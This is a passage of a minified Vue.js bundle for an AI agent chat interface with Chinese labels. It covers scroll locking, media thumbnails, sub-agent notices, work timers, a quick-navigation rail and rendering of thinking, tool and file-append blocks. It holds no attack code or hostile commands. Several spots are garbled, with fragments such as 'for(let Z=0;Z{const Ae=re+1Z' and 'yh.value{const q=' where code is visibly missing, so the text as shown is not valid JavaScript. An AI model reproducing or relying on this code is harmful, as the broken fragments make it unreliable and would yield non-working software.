te&&Tn("programmatic:scrollToBottom:before",{source:"ChatArea.stickScrollToBottom",behavior:q.behavior||"auto",force:!!q.force,preserveScrollPosition:!!q.preserveScrollPosition,...Di(te)},"programmatic:scrollToBottom:before",80),wr("ChatArea.stickScrollToBottom"),(q.force||q.behavior==="smooth")&&(me=Date.now()+900),await Jt({animation:q.behavior==="smooth"?"smooth":"auto",ignoreEscapes:!!q.force,preserveScrollPosition:!!q.preserveScrollPosition,duration:q.force?260:0})}async function zt(q={}){const te=He.value;return te&&Tn("programmatic:conditional:before",{source:"ChatArea.stickConditionalScrollToBottom",force:!!q.force,...Di(te)},"programmatic:conditional:before",100),wr("ChatArea.stickConditionalScrollToBottom"),q.force?await Ue({force:!0,preserveScrollPosition:!1}):await Ue({preserveScrollPosition:!1})}function Mt(){return{isAtBottom:!!At.value,isNearBottom:!!Nt.value,escapedFromLock:!!It.value}}function mt(q,te){return typeof n.iconStyle=="function"?n.iconStyle(q,te):{}}function ws(q){return q?typeof q=="string"?q:typeof(q==null?void 0:q.path)=="string"?q.path:typeof(q==null?void 0:q.source_path)=="string"?q.source_path:"":""}function Pn(q){const te=ws(q);if(!te)return typeof(q==null?void 0:q.name)=="string"&&q.name?q.name:typeof(q==null?void 0:q.title)=="string"&&q.title?q.title:typeof(q==null?void 0:q.media_id)=="string"&&q.media_id?q.media_id:"";const Z=te.split(/[/\\]/);return Z[Z.length-1]||te}function On(q){var Z;const te=(Z=q==null?void 0:q.metadata)==null?void 0:Z.files;return Array.isArray(te)?te.filter(re=>typeof re=="string"&&re||re&&typeof re.path=="string"&&re.path).slice(0,9):[]}function Go(q,te){const Z=ts(q,te,"image");Z&&Vs().openImagePreview({url:Z,name:Pn(te)})}function Ms(q,te,Z){var pt;const re=(q==null?void 0:q.media_refs)||((pt=q==null?void 0:q.metadata)==null?void 0:pt.media_refs)||[];if(!Array.isArray(re)||!re.length)return null;const Ae=typeof(te==null?void 0:te.media_id)=="string"?te.media_id:"";if(Ae){const Bt=re.find(Rt=>(Rt==null?void 0:Rt.media_id)===Ae);if(Bt)return Bt}const ue=ws(te);if(ue){const Bt=re.find(Rt=>Rt&&Rt.kind===Z&&typeof Rt.source_path=="string"&&Rt.source_path===ue);if(Bt)return Bt}return re.find(Bt=>Bt&&Bt.kind===Z)||null}function ts(q,te,Z){const re=Ms(q,te,Z),Ae=typeof(re==null?void 0:re.media_id)=="string"?re.media_id:"";if(Ae)return`/api/conversations/media/${encodeURIComponent(Ae)}`;const ue=ws(te);return ue?`/api/gui/files/download?path=${encodeURIComponent(ue)}`:""}function Dn(q,te,Z){const re=Ms(q,te,"image")||Ms(q,te,"video");if(typeof(re==null?void 0:re.media_id)=="string"&&re.media_id)return`${re.media_id}-${Z}`;const Ae=ws(te);return Ae?`${Ae}-${Z}`:`media-${Z}`}function Lc(q){const te=Math.max(0,Math.floor((q||0)/1e3)),Z=Math.floor(te/3600),re=Math.floor(te%3600/60),Ae=te%60;return Z>0?`${String(Z).padStart(2,"0")}:${String(re).padStart(2,"0")}:${String(Ae).padStart(2,"0")}`:`${String(re).padStart(2,"0")}:${String(Ae).padStart(2,"0")}`}function Zn(q){if(!q||q.type!=="system")return null;const te=typeof q.content=="string"?q.content.trim():"",Z=(q==null?void 0:q.id)||`no-id-${te.slice(0,32)}`;if(!te)return de.has(`${Z}-empty`)||de.add(`${Z}-empty`),null;if(q.variant==="sub_agent_done"&&(K.test(te)||J.test(te)))return de.has(`${Z}-variant-pass`)||de.add(`${Z}-variant-pass`),te;const re=te.match(X);return re&&/已完成/.test(te)?(de.has(`${Z}-regex-pass`)||de.add(`${Z}-regex-pass`),`子智能体${re[1]} 任务完成`):(de.has(`${Z}-blocked`)||de.add(`${Z}-blocked`),null)}function ei(q){if(!q)return!1;const te=q.type;if(!he.has(te)){const Z=(q==null?void 0:q.id)||`unknown-${te||"none"}`;return we.has(Z)||we.add(Z),!1}if(q.type==="tool"){const Z=(q==null?void 0:q.tool)||{},re=typeof Z.name=="string"&&Z.name.trim().length>0,Ae=typeof Z.message=="string"&&Z.message.trim().length>0,ue=Z.result!==null&&Z.result!==void 0,Ge=Z.arguments&&typeof Z.arguments=="object"&&Object.keys(Z.arguments).length>0;return re||Ae||ue||Ge}return q.type!=="system"?!0:!!Zn(q)}function Cr(q=[]){return(q||[]).some(te=>ei(te))}function pm(q){if(!q||q.role!=="assistant")return!1;const te=(q.actions||[]).filter(Ae=>ei(Ae));if(te.length!==1)return!1;const Z=te[0],re=(Z==null?void 0:Z.type)==="system"&&!!Zn(Z);return re&&Le("ChatArea.isSubAgentNoticeOnlyMessage:hit",{actionId:Z==null?void 0:Z.id,content:Z==null?void 0:Z.content}),re}function Ck(q){var Ae;const te=et(),Z=te[q+1],re=!!Z&&pm(Z);return re&&Le("ChatArea.isFollowedBySubAgentNotice:hit",{index:q,currentRole:(Ae=te[q])==null?void 0:Ae.role,nextRole:Z==null?void 0:Z.role}),re}function a_(q){var Ge;if(q<=0)return"";const te=l_(q),Z=(Ge=te==null?void 0:te.metadata)==null?void 0:Ge.work_timer;if(!Z||!Z.started_at)return"";const re=Date.parse(Z.started_at);if(!Number.isFinite(re))return"";if((Z.status||"working")==="working")return`工作中 ${Lc(se.value-re)}`;const ue=typeof Z.duration_ms=="number"?Z.duration_ms:Math.max(0,(Number.isFinite(Date.parse(Z.finished_at||""))?Date.parse(Z.finished_at):se.value)-re);return`工作完成 ${Lc(ue)}`}function Tk(q){return!!l_(q)}function l_(q){if(q<=0)return null;const te=et(),Z=te[q-1];if(!Z||Z.role!=="user")return null;for(let re=q-1;re>=0;re-=1){const Ae=te[re];if(!Ae||Ae.role!=="user")break;if(kv(Ae))return Ae}return null}function gm(q){var te;return String(((te=q==null?void 0:q.metadata)==null?void 0:te.message_source)||"user").trim().toLowerCase()}function ph(q){const te=gm(q);return te==="guidance"?"引导":te==="goal"?"目标":te==="goal_review"?"审核":te==="compression"||te==="compression_handoff"?"压缩":te==="notify"||te==="sub_agent"||te==="background_command"?"通知":d.value}function Ak(q){const te=gm(q);return te==="guidance"?"navigation":te==="goal"?"flag":te==="goal_review"?"circleAlert":te==="compression"||te==="compression_handoff"?"layers":te==="notify"||te==="sub_agent"||te==="background_command"?"bell":"user"}function c_(q){return!q||q.role!=="user"||l.value!=="brief"?!1:Oh(q)==="compact"}function u_(q){switch(gm(q)){case"goal_review":return"目标审核完成";case"sub_agent":return"后台子智能体完成";case"background_command":return"后台指令完成";case"compression":case"compression_handoff":return"对话压缩完成";case"goal":return"目标进行中";case"guidance":return"运行中引导";case"notify":return"系统通知";default:return"系统消息"}}Xe(()=>et().map(q=>{var te;return(q==null?void 0:q.id)??((te=q==null?void 0:q.content)==null?void 0:te.slice(0,80))}),()=>{g.value=!0,T(),ft(()=>{requestAnimationFrame(()=>{k(),V(),N()})})},{immediate:!0}),Cn(()=>{Ni(),pl(),typeof ResizeObserver<"u"&&He.value&&(Ln=new ResizeObserver(pl),Ln.observe(He.value)),typeof ResizeObserver<"u"&&(y=new ResizeObserver(()=>{requestAnimationFrame(k)}),ft(()=>V())),fl()&&console.warn("[SCROLL_BOUNCE_TRACE]","mounted",{hasScrollRef:!!He.value}),ce=window.setInterval(()=>{se.value=Date.now()},1e3),Nn()}),Xe(He,()=>{Ni(),pl(),Ln&&(Ln.disconnect(),Ln=null),typeof ResizeObserver<"u"&&He.value&&(Ln=new ResizeObserver(pl),Ln.observe(He.value))}),xn(()=>{kr(),Qs(),Hf(),ir(),Ln&&(Ln.disconnect(),Ln=null),y&&(y.disconnect(),y=null),p.clear(),b.forEach(q=>window.clearTimeout(q)),b.clear(),ce!==null&&(clearInterval(ce),ce=null),Ar()});const ml=q=>q&&(q.type==="thinking"||q.type==="tool"),ro=q=>!q||q.type!=="text"?!1:!(typeof q.content=="string"?q.content:"").trim(),vl=(q=[],te=0)=>{const Z=[];let re=[];const Ae=()=>{re.length>=1&&Z.push({kind:"stack",actions:re.slice(),key:`stack-${te}-${Z.length}`}),re=[]};return q.forEach((ue,Ge)=>{ro(ue)||(ml(ue)?re.push(ue):(Ae(),Z.push({kind:"single",action:ue,actionIndex:Ge,key:ue.id||`single-${te}-${Ge}`})))}),Ae(),Z};function Pc(q){const te=typeof(q==null?void 0:q.generatingLabel)=="string"&&q.generatingLabel.trim()?q.generatingLabel.trim():Z6;return Array.from(te)}const Tr=pe(null),gh=pe(null),qo=pe(-1),Oc=new Map,yl=q=>{var te;return!q||q.role!=="user"?!1:String(((te=q==null?void 0:q.metadata)==null?void 0:te.message_source)||"user").trim().toLowerCase()==="user"};function Ek(q){const te=q==null?void 0:q.content;let Z="";return typeof te=="string"?Z=te:Array.isArray(te)?Z=te.filter(Ae=>Ae&&Ae.type==="text"&&typeof Ae.text=="string").map(Ae=>Ae.text).join(` +`):te!=null&&(Z=String(te)),Z.split(` +`).map(Ae=>Ae.trim()).filter(Ae=>Ae&&!Ae.startsWith("[系统通知|"))[0]||"(空输入)"}function h_(q){const te=Array.isArray(q==null?void 0:q.actions)?q.actions:[];for(let re=te.length-1;re>=0;re-=1){const Ae=te[re];if((Ae==null?void 0:Ae.type)==="text"&&typeof(Ae==null?void 0:Ae.content)=="string"&&Ae.content.trim())return Ae.content.trim()}const Z=q==null?void 0:q.content;return typeof Z=="string"?Z.trim():""}const Dc=ye(()=>{const q=et(),te=[];for(let Z=0;Z{const Ae=re+1Z;Ge-=1){const pt=q[Ge];if(!pt||pt.role!=="assistant")continue;const Bt=h_(pt);if(Bt){ue=Bt;break}}return{msgIndex:Z,userText:Ek(q[Z]),aiText:ue||"(暂无回复)"}})}),Mk=[34,25,17,12];function mh(q){const te=qo.value;if(te<0)return qf;const Z=Math.abs(q-te),re=Mk[Z]??qf;if(re===qf)return re;const Ae=xk.value;return Math.max(qf,Math.round(re*Ae))}const vh=pe(-1);function Nc(q){var Bt;const te=Dc.value;if(!te.length){vh.value=-1;return}const Z=gh.value;if(!Z)return;const re=typeof q=="number"?q:Number(Z.scrollOffset)||0,Ae=Number(Z.viewportSize)||((Bt=Tr.value)==null?void 0:Bt.clientHeight)||0,ue=re+Ae*.25,Ge=Z.findItemIndex(ue);let pt=-1;for(let Rt=0;Rt{Nc()});const yh=pe(100),d_=pe(!0),mm=pe(XM/2),bh=ye(()=>yh.value{const q=yh.value;if(bh.value==="pinned"){const te=mm.value-qf/2;return Math.max(0,Math.min(1,(q-te-6)/sC))}return bh.value==="center"?Math.max(0,Math.min(1,(q-6)/sC)):1}),f_=ye(()=>{const q={"--qn-count":String(Dc.value.length)};if(bh.value==="center")return{...q,left:"0px",width:`${yh.value}px`};const te=mm.value-qf/2;return{...q,left:`${te}px`,width:`${sC}px`}});function p_(){const q=Tr.value,te=yt.value;if(!q||!te)return;const Z=q.getBoundingClientRect(),re=te.getBoundingClientRect(),Ae=He.value,ue=Ae?Math.max(0,Ae.offsetWidth-Ae.clientWidth):0;mm.value=(XM+ue/2)/2,yh.value=re.left-Z.left,d_.value=re.width>=eU-.5}let Bc=null;function Ik(q,te){te?Oc.set(q,te):Oc.delete(q)}function Rk(q){let te=-1,Z=1/0;Oc.forEach((re,Ae)=>{const ue=re.getBoundingClientRect(),Ge=Math.abs(q.clientY-(ue.top+ue.height/2));Ge"u"||!Tr.value||(Bc=new ResizeObserver(()=>{p_()}),Bc.observe(Tr.value),yt.value&&Bc.observe(yt.value),p_())}function Ar(){Bc&&(Bc.disconnect(),Bc=null)}let Fc=null,_a=!1;function Hf(){Fc!==null&&(cancelAnimationFrame(Fc),Fc=null),_a=!1}function Pk(q){var pt;const te=He.value,Z=gh.value;if(!te||!Z||typeof Z.getItemOffset!="function"){(pt=Z==null?void 0:Z.scrollToIndex)==null||pt.call(Z,q,{align:"start",smooth:!0});return}Hf(),_a=!0;const re=te.scrollTop,Ae=performance.now(),ue=380,Ge=()=>{if(Fc=null,!_a)return;const Bt=Math.max(0,te.scrollHeight-te.clientHeight),Rt=Math.max(0,Math.min(Number(Z.getItemOffset(q))||0,Bt)),Ps=Math.min(1,(performance.now()-Ae)/ue),Us=1-Math.pow(1-Ps,3);wr("ChatArea.quickNavJump"),te.scrollTop=re+(Rt-re)*Us,Ps<1?Fc=requestAnimationFrame(Ge):(wr("ChatArea.quickNavJump"),te.scrollTop=Rt,_a=!1)};Fc=requestAnimationFrame(Ge)}function Ok(q){const te=He.value,Z=Date.now();$t(),Qs(),i("user-scroll-intent",{ts:Z,delta:-1,top:te&&te.scrollTop||0}),Pk(q.msgIndex)}const g_=pe(""),m_=pe(""),v_=pe({});return Xe(qo,q=>{if(q<0)return;const te=Dc.value[q];if(!te)return;g_.value=te.userText,m_.value=te.aiText;const Z=Tr.value,re=Oc.get(q);if(!Z||!re)return;const Ae=Z.getBoundingClientRect(),ue=re.getBoundingClientRect();let pt=ue.top-Ae.top+ue.height/2-YM/2;pt=Math.max(8,Math.min(pt,Ae.height-YM-8));const Bt=ue.right-Ae.left+14;v_.value={top:`${pt}px`,left:`${Bt}px`}}),e({rootEl:Uo,getThinkingRef:Ee,isUsingStickToBottom:()=>!0,getStickState:Mt,stopStickScroll:$t,scrollToBottom:Ue,conditionalStickToBottom:zt}),(q,te)=>(F(),$("div",{class:"chat-area-shell",ref_key:"shellRef",ref:Tr},[E("div",{class:ke(["messages-area messages-area--stick",{"messages-area--render-pending":a.value}]),ref_key:"scrollRef",ref:He},[E("div",{class:"messages-flow",ref_key:"contentRef",ref:yt},[hl.value?(F(),Wt(We(K$),{key:0,ref_key:"virtualizerRef",ref:gh,data:st.value||[],"scroll-ref":hl.value,"buffer-size":400,"keep-mounted":In.value},{default:Vt(({item:Z,index:re})=>{var Ae;return[(F(),$("div",{key:Hs(Z,re),class:ke(["message-block",{"message-block--compact-user":We(Oh)(Z)==="compact","message-block--sub-agent-notice":pm(Z),"message-block--before-sub-agent-notice":Ck(re),"message-block--multi-agent":G(Z),"message-block--first":re===0,"message-block--last":re===(st.value||[]).length-1}])},[Z.role==="user"?(F(),$("div",{key:0,class:ke(["user-message",{"user-message--multi-agent":G(Z),"user-message--compact":We(Oh)(Z)==="compact","user-message--brief":c_(Z)}])},[c_(Z)?(F(),$("div",BH,[E("span",FH,ae(u_(Z)),1)])):(F(),$(Ie,{key:1},[E("div",{class:ke(["message-header icon-label",{"message-header--multi-agent":G(Z),"message-header--hidden":G(Z)&&ie(Z,re)}])},[G(Z)?(F(),$("span",$H,ae(ee(Z)),1)):(F(),$(Ie,{key:1},[E("span",{class:"icon icon-sm",style:Ke(mt(Ak(Z))),"aria-hidden":"true"},null,4),E("span",null,ae(ph(Z)),1)],64))],2),E("div",{class:ke(["message-text user-bubble-text",{"is-collapsed":R(Z,re),"is-expandable":A(Z,re),"is-history-loading":n.historyLoading||g.value}])},[Z.content?(F(),$("div",{key:0,class:ke(["bubble-text",{"is-expanded":M(Z,re)}]),ref:ue=>S(Z,re,ue)},[G(Z)?(F(),Wt(xm,{key:0,content:ve(Z),"is-streaming":!1},null,8,["content"])):(F(),$("span",{key:1,innerHTML:be(Z.content)},null,8,HH))],2)):ge("",!0),Z.images&&Z.images.length||On(Z).length?(F(),$("div",UH,[(F(!0),$(Ie,null,tt(Z.images,(ue,Ge)=>(F(),$("div",{class:"image-thumbnail-wrapper",key:Dn(Z,ue,Ge),onClick:Ne(pt=>Go(Z,ue),["stop"])},[E("img",{src:ts(Z,ue,"image"),alt:Pn(ue),class:"image-thumbnail"},null,8,zH)],8,WH))),128)),On(Z).length?(F(),Wt(Z2,{key:0,files:On(Z)},null,8,["files"])):ge("",!0)])):ge("",!0),Z.videos&&Z.videos.length?(F(),$("div",jH,[(F(!0),$(Ie,null,tt(Z.videos,(ue,Ge)=>(F(),$("div",{class:"image-thumbnail-wrapper",key:Dn(Z,ue,Ge)},[E("img",{src:ts(Z,ue,"video"),alt:Pn(ue),class:"image-thumbnail"},null,8,VH)]))),128))])):ge("",!0),A(Z,re)?(F(),$("div",GH,[E("button",{class:ke(["user-bubble-action-btn user-bubble-expand-btn",{expanded:M(Z,re)}]),title:M(Z,re)?"收起":"展开","aria-label":M(Z,re)?"收起":"展开",onClick:Ne(ue=>P(Z,re),["stop"])},null,10,qH)])):ge("",!0)],2),G(Z)?ge("",!0):(F(),$("div",KH,[E("button",{class:ke(["user-bubble-action-btn copy",{copied:z(Z,re)}]),title:z(Z,re)?"已复制":"复制","aria-label":z(Z,re)?"已复制":"复制",onClick:ue=>Q(Z,re)},null,10,QH),E("button",{class:"user-bubble-action-btn branch",title:"分支","aria-label":"分支",onClick:ue=>W(Z)},null,8,XH),E("span",YH,ae(L(Z)),1)]))],64))],2)):Z.role==="assistant"?(F(),$("div",JH,[Tk(re)&&(Cr(Z.actions||[])||Z.awaitingFirstContent)?(F(),$("div",ZH,[E("span",null,ae(h.value),1),a_(re)?(F(),$("span",e6,ae(a_(re)),1)):ge("",!0)])):ge("",!0),Z.awaitingFirstContent?(F(),$("div",t6,[E("div",s6,[E("div",n6,[(F(!0),$(Ie,null,tt(Pc(Z),(ue,Ge)=>(F(),$("span",{key:Ge,class:"assistant-generating-letter",style:Ke({animationDelay:`${Ge*.08}s`})},ae(ue),5))),128))])])])):ge("",!0),c.value==="minimal"?(F(),$(Ie,{key:2},[Cr(Z.actions||[])?(F(),Wt(q4,{key:0,actions:Z.actions||[],"conversation-running":s.streamingMessage,"is-latest-message":re===xe.value,"icon-style":mt,"get-tool-icon":s.getToolIcon,"get-tool-status-text":s.getToolStatusText,"get-tool-description":s.getToolDescription,"format-search-topic":s.formatSearchTopic,"format-search-time":s.formatSearchTime,"format-search-domains":s.formatSearchDomains,"register-thinking-ref":ne,"handle-thinking-scroll":n.handleThinkingScroll,onGroupToggle:ba},null,8,["actions","conversation-running","is-latest-message","get-tool-icon","get-tool-status-text","get-tool-description","format-search-topic","format-search-time","format-search-domains","handle-thinking-scroll"])):ge("",!0)],64)):u.value?(F(!0),$(Ie,{key:3},tt(vl(Z.actions||[],re),ue=>{var Ge,pt,Bt,Rt,Ps,Us,Er,Mr,$c,Hc,Sa,oo,j,U,Y,Te,Me,Ve,$e,Ye,qe,Et,Lt,ys,xr;return F(),$(Ie,{key:ue.key},[ue.kind==="stack"?(F(),Wt(d5,{key:0,class:"stacked-blocks-wrapper",actions:ue.actions,"expanded-blocks":s.expandedBlocks,"conversation-running":s.streamingMessage,"is-latest-message":re===xe.value,"icon-style":mt,"toggle-block":s.toggleBlock,"register-thinking-ref":ne,"handle-thinking-scroll":s.handleThinkingScroll,"get-tool-animation-class":s.getToolAnimationClass,"get-tool-icon":s.getToolIcon,"get-tool-status-text":s.getToolStatusText,"get-tool-description":s.getToolDescription,"format-search-topic":s.formatSearchTopic,"format-search-time":s.formatSearchTime,"format-search-domains":s.formatSearchDomains,onMoreToggle:Rc},null,8,["actions","expanded-blocks","conversation-running","is-latest-message","toggle-block","handle-thinking-scroll","get-tool-animation-class","get-tool-icon","get-tool-status-text","get-tool-description","format-search-topic","format-search-time","format-search-domains"])):ei(ue.action)?(F(),$("div",{class:ke(["action-item",{"streaming-content":(Ge=ue.action)==null?void 0:Ge.streaming,"completed-tool":((pt=ue.action)==null?void 0:pt.type)==="tool"&&!((Bt=ue.action)!=null&&Bt.streaming),"immediate-show":((Rt=ue.action)==null?void 0:Rt.streaming)||((Ps=ue.action)==null?void 0:Ps.type)==="text"||((Us=ue.action)==null?void 0:Us.type)==="thinking","thinking-finished":((Er=ue.action)==null?void 0:Er.type)==="thinking"&&!((Mr=ue.action)!=null&&Mr.streaming),"no-entry-animation":!s.streamingMessage||re!==xe.value}]),key:(($c=ue.action)==null?void 0:$c.id)||`${re}-${ue.actionIndex}`},[((Hc=ue.action)==null?void 0:Hc.type)==="thinking"?(F(),$("div",{key:0,class:ke(["collapsible-block thinking-block",{expanded:(Sa=s.expandedBlocks)==null?void 0:Sa.has(ue.action.blockId||`${re}-thinking-${ue.actionIndex}`)}]),"data-block-id":ue.action.blockId||`${re}-thinking-${ue.actionIndex}`},[E("div",{class:"collapsible-header",onClick:ti=>s.toggleBlock(ue.action.blockId||`${re}-thinking-${ue.actionIndex}`)},[te[0]||(te[0]=E("div",{class:"arrow"},null,-1)),E("div",o6,[E("span",{class:ke(["thinking-icon",{"thinking-animation":ue.action.streaming}])},[E("span",{class:"icon icon-sm",style:Ke(mt("brain")),"aria-hidden":"true"},null,4)],2)]),E("span",a6,ae(ue.action.streaming?"正在思考...":"思考过程"),1)],8,r6),E("div",{class:"collapsible-content",ref_for:!0,ref:ti=>Je(ue.action.blockId||`${re}-thinking-${ue.actionIndex}`,ti)},[E("div",{class:"content-inner thinking-content",ref_for:!0,ref:ti=>ne(ue.action.blockId||`${re}-thinking-${ue.actionIndex}`,ti),onScroll:ti=>s.handleThinkingScroll(ue.action.blockId||`${re}-thinking-${ue.actionIndex}`,ti),style:{"max-height":"240px","overflow-y":"auto"}},ae(ue.action.content),41,l6)],512)],10,i6)):((oo=ue.action)==null?void 0:oo.type)==="text"?(F(),$("div",c6,[E("div",{class:ke(["text-content",{"streaming-text":ue.action.streaming}])},[Qe(xm,{content:ue.action.content||"","is-streaming":ue.action.streaming},null,8,["content","is-streaming"])],2)])):((j=ue.action)==null?void 0:j.type)==="system"&&Zn(ue.action)?(F(),$("div",u6,ae(Zn(ue.action)),1)):((U=ue.action)==null?void 0:U.type)==="append_payload"?(F(),$("div",{key:3,class:ke(["append-placeholder",{"append-error":((Y=ue.action.append)==null?void 0:Y.success)===!1}])},[E("div",h6,[((Te=ue.action.append)==null?void 0:Te.success)!==!1?(F(),$("div",d6,[E("span",{class:"icon icon-sm",style:Ke(mt("pencil")),"aria-hidden":"true"},null,4),E("span",null,"已写入 "+ae(((Me=ue.action.append)==null?void 0:Me.path)||"目标文件")+" 的追加内容(内容已保存至文件)",1)])):(F(),$("div",f6,[E("span",{class:"icon icon-sm",style:Ke(mt("x")),"aria-hidden":"true"},null,4),E("span",null,"向 "+ae(((Ve=ue.action.append)==null?void 0:Ve.path)||"目标文件")+" 写入失败,内容已截获供后续修复。",1)])),ue.action.append?(F(),$("div",p6,[ue.action.append.lines!==null&&ue.action.append.lines!==void 0?(F(),$("span",g6," · 行数 "+ae(ue.action.append.lines),1)):ge("",!0),ue.action.append.bytes!==null&&ue.action.append.bytes!==void 0?(F(),$("span",m6," · 字节 "+ae(ue.action.append.bytes),1)):ge("",!0)])):ge("",!0),($e=ue.action.append)!=null&&$e.forced?(F(),$("div",v6,[E("span",{class:"icon icon-sm",style:Ke(mt("triangleAlert")),"aria-hidden":"true"},null,4),te[1]||(te[1]=E("span",null,"未检测到结束标记,请根据提示继续补充。",-1))])):ge("",!0)])],2)):((Ye=ue.action)==null?void 0:Ye.type)==="append"?(F(),$("div",{key:4,class:ke(["append-placeholder",{"append-error":((qe=ue.action.append)==null?void 0:qe.success)===!1}])},[E("div",y6,[E("div",b6,[E("span",{class:"icon icon-sm",style:Ke(mt("pencil")),"aria-hidden":"true"},null,4),E("span",null,ae(((Et=ue.action.append)==null?void 0:Et.summary)||"文件追加完成"),1)]),ue.action.append?(F(),$("div",_6,[E("span",null,ae(ue.action.append.path||"目标文件"),1),ue.action.append.lines?(F(),$("span",S6,"· 行数 "+ae(ue.action.append.lines),1)):ge("",!0),ue.action.append.bytes?(F(),$("span",w6,"· 字节 "+ae(ue.action.append.bytes),1)):ge("",!0)])):ge("",!0),(Lt=ue.action.append)!=null&&Lt.forced?(F(),$("div",k6,[E("span",{class:"icon icon-sm",style:Ke(mt("triangleAlert")),"aria-hidden":"true"},null,4),te[2]||(te[2]=E("span",null,"未检测到结束标记,请按提示继续补充。",-1))])):ge("",!0)])],2)):((ys=ue.action)==null?void 0:ys.type)==="tool"?(F(),Wt(zM,{key:5,action:ue.action,expanded:(xr=s.expandedBlocks)==null?void 0:xr.has(ue.action.blockId||`${re}-tool-${ue.actionIndex}`),"icon-style":mt,"get-tool-animation-class":s.getToolAnimationClass,"get-tool-icon":s.getToolIcon,"get-tool-status-text":s.getToolStatusText,"get-tool-description":s.getToolDescription,"format-search-topic":s.formatSearchTopic,"format-search-time":s.formatSearchTime,"format-search-domains":s.formatSearchDomains,"streaming-message":s.streamingMessage,"register-collapse-content":Je,"collapse-key":ue.action.blockId||`${re}-tool-${ue.actionIndex}`,"block-id":ue.action.blockId||`${re}-tool-${ue.actionIndex}`,onToggle:ti=>s.toggleBlock(ue.action.blockId||`${re}-tool-${ue.actionIndex}`)},null,8,["action","expanded","get-tool-animation-class","get-tool-icon","get-tool-status-text","get-tool-description","format-search-topic","format-search-time","format-search-domains","streaming-message","collapse-key","block-id","onToggle"])):ge("",!0)],2)):ge("",!0)],64)}),128)):(F(!0),$(Ie,{key:4},tt(Z.actions||[],(ue,Ge)=>{var pt,Bt,Rt,Ps,Us,Er,Mr,$c,Hc,Sa;return F(),$(Ie,{key:ue.id||`${re}-${Ge}`},[ei(ue)?(F(),$("div",{key:0,class:ke(["action-item",{"streaming-content":ue.streaming,"completed-tool":ue.type==="tool"&&!ue.streaming,"immediate-show":ue.streaming||ue.type==="text"||ue.type==="thinking","thinking-finished":ue.type==="thinking"&&!ue.streaming,"no-entry-animation":!s.streamingMessage||re!==xe.value}])},[ue.type==="thinking"?(F(),$("div",{key:0,class:ke(["collapsible-block thinking-block",{expanded:(pt=s.expandedBlocks)==null?void 0:pt.has(ue.blockId||`${re}-thinking-${Ge}`)}]),"data-block-id":ue.blockId||`${re}-thinking-${Ge}`},[E("div",{class:"collapsible-header",onClick:oo=>s.toggleBlock(ue.blockId||`${re}-thinking-${Ge}`)},[te[3]||(te[3]=E("div",{class:"arrow"},null,-1)),E("div",A6,[E("span",{class:ke(["thinking-icon",{"thinking-animation":ue.streaming}])},[E("span",{class:"icon icon-sm",style:Ke(mt("brain")),"aria-hidden":"true"},null,4)],2)]),E("span",E6,ae(ue.streaming?"正在思考...":"思考过程"),1)],8,T6),E("div",{class:"collapsible-content",ref_for:!0,ref:oo=>Je(ue.blockId||`${re}-thinking-${Ge}`,oo)},[E("div",{class:"content-inner thinking-content",ref_for:!0,ref:oo=>ne(ue.blockId||`${re}-thinking-${Ge}`,oo),onScroll:oo=>s.handleThinkingScroll(ue.blockId||`${re}-thinking-${Ge}`,oo),style:{"max-height":"240px","overflow-y":"auto"}},ae(ue.content),41,M6)],512)],10,C6)):ue.type==="text"?(F(),$("div",x6,[E("div",{class:ke(["text-content",{"streaming-text":ue.streaming}])},[Qe(xm,{content:ue.content||"","is-streaming":ue.streaming},null,8,["content","is-streaming"])],2)])):ue.type==="system"&&Zn(ue)?(F(),$("div",I6,ae(Zn(ue)),1)):ue.type==="append_payload"?(F(),$("div",{key:3,class:ke(["append-placeholder",{"append-error":((Bt=ue.append)==null?void 0:Bt.success)===!1}])},[E("div",R6,[((Rt=ue.append)==null?void 0:Rt.success)!==!1?(F(),$("div",L6,[E("span",{class:"icon icon-sm",style:Ke(mt("pencil")),"aria-hidden":"true"},null,4),E("span",null,"已写入 "+ae(((Ps=ue.append)==null?void 0:Ps.path)||"目标文件")+" 的追加内容(内容已保存至文件)",1)])):(F(),$("div",P6,[E("span",{class:"icon icon-sm",style:Ke(mt("x")),"aria-hidden":"true"},null,4),E("span",null,"向 "+ae(((Us=ue.append)==null?void 0:Us.path)||"目标文件")+" 写入失败,内容已截获供后续修复。",1)])),ue.append?(F(),$("div",O6,[ue.append.lines!==null&&ue.append.lines!==void 0?(F(),$("span",D6," · 行数 "+ae(ue.append.lines),1)):ge("",!0),ue.append.bytes!==null&&ue.append.bytes!==void 0?(F(),$("span",N6," · 字节 "+ae(ue.append.bytes),1)):ge("",!0)])):ge("",!0),(Er=ue.append)!=null&&Er.forced?(F(),$("div",B6,[E("span",{class:"icon icon-sm",style:Ke(mt("triangleAlert")),"aria-hidden":"true"},null,4),te[4]||(te[4]=E("span",null,"未检测到结束标记,请根据提示继续补充。",-1))])):ge("",!0)])],2)):ue.type==="append"?(F(),$("div",{key:4,class:ke(["append-placeholder",{"append-error":((Mr=ue.append)==null?void 0:Mr.success)===!1}])},[E("div",F6,[E("div",$6,[E("span",{class:"icon icon-sm",style:Ke(mt("pencil")),"aria-hidden":"true"},null,4),E("span",null,ae((($c=ue.append)==null?void 0:$c.summary)||"文件追加完成"),1)]),ue.append?(F(),$("div",H6,[E("span",null,ae(ue.append.path||"目标文件"),1),ue.append.lines?(F(),$("span",U6,"· 行数 "+ae(ue.append.lines),1)):ge("",!0),ue.append.bytes?(F(),$("span",W6,"· 字节 "+ae(ue.append.bytes),1)):ge("",!0)])):ge("",!0),(Hc=ue.append)!=null&&Hc.forced?(F(),$("div",z6,[E("span",{class:"icon icon-sm",style:Ke(mt("triangleAlert")),"aria-hidden":"true"},null,4),te[5]||(te[5]=E("span",null,"未检测到结束标记,请按提示继续补充。",-1))])):ge("",!0)])],2)):ue.type==="tool"?(F(),Wt(zM,{key:5,action:ue,expanded:(Sa=s.expandedBlocks)==null?void 0:Sa.has(ue.blockId||`${re}-tool-${Ge}`),"icon-style":mt,"get-tool-animation-class":s.getToolAnimationClass,"get-tool-icon":s.getToolIcon,"get-tool-status-text":s.getToolStatusText,"get-tool-description":s.getToolDescription,"format-search-topic":s.formatSearchTopic,"format-search-time":s.formatSearchTime,"format-search-domains":s.formatSearchDomains,"streaming-message":s.streamingMessage,"register-collapse-content":Je,"collapse-key":ue.blockId||`${re}-tool-${Ge}`,"block-id":ue.blockId||`${re}-tool-${Ge}`,onToggle:oo=>s.toggleBlock(ue.blockId||`${re}-tool-${Ge}`)},null,8,["action","expanded","get-tool-animation-class","get-tool-icon","get-tool-status-text","get-tool-description","format-search-topic","format-search-time","format-search-domains","streaming-message","collapse-key","block-id","onToggle"])):ge("",!0)],2)):ge("",!0)],64)}),128)),De.value.h